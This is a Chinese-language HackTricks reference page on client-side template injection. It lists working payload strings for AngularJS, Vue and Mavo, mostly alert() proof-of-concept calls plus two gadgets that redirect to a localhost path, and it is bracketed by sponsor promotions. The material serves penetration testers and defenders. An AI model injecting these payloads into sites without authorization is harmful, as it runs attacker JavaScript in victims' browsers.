Client Side Template Injection (CSTI)

从零开始学习AWS黑客技术,成为专家 htARTE(HackTricks AWS Red Team Expert)

支持HackTricks的其他方式:

WhiteIntel 是一个由暗网支持的搜索引擎,提供免费功能,用于检查公司或其客户是否受到窃取恶意软件侵害

WhiteIntel的主要目标是打击由信息窃取恶意软件导致的账户劫持和勒索软件攻击。

您可以在以下网址检查他们的网站并尝试他们的引擎,免费使用:


摘要

这类似于服务器端模板注入,但是发生在客户端SSTI可以让您在远程服务器上执行代码,而CSTI可以让您在受害者的浏览器中执行任意JavaScript代码。

对于这种漏洞的测试SSTI的情况非常相似,解释器期望一个模板并将其执行。例如,使用像 {{ 7-7 }} 这样的有效负载,如果应用程序存在漏洞,您将看到一个 0,如果没有,您将看到原始内容: {{ 7-7 }}

AngularJS

AngularJS是一个广泛使用的JavaScript框架,通过称为指令的属性与HTML进行交互,其中一个著名的指令是**ng-app**。该指令允许AngularJS处理HTML内容,从而使JavaScript表达式在双大括号内执行。

在用户输入动态插入到标记为ng-app的HTML主体中的情况下,可以执行任意JavaScript代码。这可以通过利用输入中的AngularJS语法来实现。以下是演示如何执行JavaScript代码的示例:

{{$on.constructor('alert(1)')()}}
{{constructor.constructor('alert(1)')()}}
<input ng-focus=$event.view.alert('XSS')>

<!-- Google Research - AngularJS -->
<div ng-app ng-csp><textarea autofocus ng-focus="d=$event.view.document;d.location.hash.match('x1') ? '' : d.location='//localhost/mH/'"></textarea></div>

您可以在http://jsfiddle.net/2zs2yv7o/Burp Suite Academy找到AngularJS中漏洞的非常基本的在线示例

Angular 1.6移除了沙盒,因此从这个版本开始,像{{constructor.constructor('alert(1)')()}}<input ng-focus=$event.view.alert('XSS')>这样的有效载荷应该可以使用。

VueJS

您可以在https://vue-client-side-template-injection-example.azu.now.sh/找到一个易受攻击的Vue实现。 有效载荷:https://vue-client-side-template-injection-example.azu.now.sh/?name=%7B%7Bthis.constructor.constructor(%27alert(%22foo%22)%27)()%7D%

以及这里易受攻击示例的源代码https://github.com/azu/vue-client-side-template-injection-example

<!-- Google Research - Vue.js-->
"><div v-html="''.constructor.constructor('d=document;d.location.hash.match(\'x1\') ? `` : d.location=`//localhost/mH`')()"> aaa</div>

V3

https://portswigger.net/research/evading-defences-using-vuejs-script-gadgets中可以找到关于VUE中CSTI的非常好的文章。

{{_openBlock.constructor('alert(1)')()}}

Credit: Gareth Heyes, Lewis Ardern & PwnFunction

V2

{{constructor.constructor('alert(1)')()}}

Credit: Mario Heiderich

https://portswigger.net/web-security/cross-site-scripting/cheat-sheet#vuejs-reflected 中查看更多VUE有效载荷

Mavo

有效载荷:

[7*7]
[(1,alert)(1)]
<div mv-expressions="{{ }}">{{top.alert(1)}}</div>
[self.alert(1)]
javascript:alert(1)%252f%252f..%252fcss-images
[Omglol mod 1 mod self.alert (1) andlol]
[''=''or self.alert(lol)]
<a data-mv-if='1 or self.alert(1)'>test</a>
<div data-mv-expressions="lolx lolx">lolxself.alert('lol')lolx</div>
<a href=[javascript&':alert(1)']>test</a>
[self.alert(1)mod1]

更多有效载荷请查看 https://portswigger.net/research/abusing-javascript-frameworks-to-bypass-xss-mitigations

暴力检测列表

WhiteIntel 是一个由暗网支持的搜索引擎,提供免费功能,用于检查公司或其客户是否受到窃取恶意软件侵害

WhiteIntel 的主要目标是打击由窃取信息恶意软件导致的账户劫持和勒索软件攻击。

您可以访问他们的网站并免费尝试他们的引擎:

从零开始学习 AWS 黑客技术,成为专家 htARTE(HackTricks AWS 红队专家)

支持 HackTricks 的其他方式:

最后更新于